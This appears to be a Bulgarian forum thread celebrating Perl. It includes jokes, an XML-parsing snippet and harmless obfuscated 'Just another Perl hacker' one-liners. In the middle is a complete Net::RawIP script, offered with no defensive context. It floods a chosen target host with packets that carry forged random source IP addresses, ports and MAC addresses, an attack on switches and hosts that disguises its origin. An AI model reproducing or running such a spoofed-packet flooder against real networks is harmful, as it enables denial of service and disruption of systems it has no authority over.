Viva Perl!!!

ти пробвал ли си го та се изказваш неподготвен?

Съгласен съм :)

my $hRe = getAttribs($chldClx->item(0)->getParentNode()) if defined($chldClx->item(0));
my $Named = $chldClx->item(0)->getParentNode()->getNodeName if defined($chldClx->item(0));
my $Valued = $chldClx->[0]->getData if defined($chldClx->[0]);

use strict, diagnostics, warnings or die!

Естесвено, че е номер 1. Кой друг език може да се опише в една страница:

man perlcheat

!

Съдържаниет е скрито
Влезте за да го видите

По идея на Anonymous Monk, автор - mtve:

#!just another perl hacker,
open$?;<0>!~<!>;print$'

#~
$_->[/^(?>(.)?(.)+.*)(?!\1)(??{print(($1..$2)[9,0,15,7])})/]
#~

require 'getopts.pl';
use Net::RawIP;
Getopts('vrs:e:d:x:y:i:n:');
$a = new Net::RawIP;

die "usage: $0 -d target_host [options]\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1000)\n" unless ($opt_d &&
!($opt_r && $opt_e) );


$opt_i=eth0 unless $opt_i;
$times=0;
$opt_n=1000 unless $opt_n;
$s_host=$opt_s if $opt_s;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;


if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}


for($times=1; $times < $opt_n; $times++) {
$i=0;
$mac="00";

if($opt_r) {
$d_mac="00";

while($i++ < 5) {
$mac=$mac . ":" . int rand 9;
$d_mac=$d_mac . ":" . int rand 9;
$mac=$mac . int rand 9;
$d_mac=$d_mac . int rand 9;
}
print "$d_mac \t$mac\n" if($opt_v);

$a->ethset(source => $mac, dest => $d_mac);
} else {

while($i++ < 5) {
$mac=$mac . ":" . int rand 9;
$mac=$mac . int rand 9;
}
print "$mac\n" if($opt_v);

$a->ethset(source => $mac);
}

$s_host=17000000+int rand 4261000000 unless $opt_s;

$s_port=int rand 65535 unless $opt_x;
$d_port=int rand 65535 unless $opt_y;

$a->set({ip => {saddr => $s_host, daddr => $opt_d},
tcp => {source => $s_port,dest => $d_port}
});

$a->ethsend;
}

$|++;$.=25;@$=a..z;$a++for 1..$.;*_=sub{select$l,$l,$l,
'0.0'.shift;print"\b"};$^=sub{_(7)for 1..5;map{_(0)}1..$a
;map{print' '}1..$a;map{_(0)}1..$a};map{if(/\s+|\./){$^
->();$c=0}else{map{print$$[int rand(@$)];_(4)}split'',$.
;$c++;print}}split '','Just another Perl Hacker '

Кефите ме!!!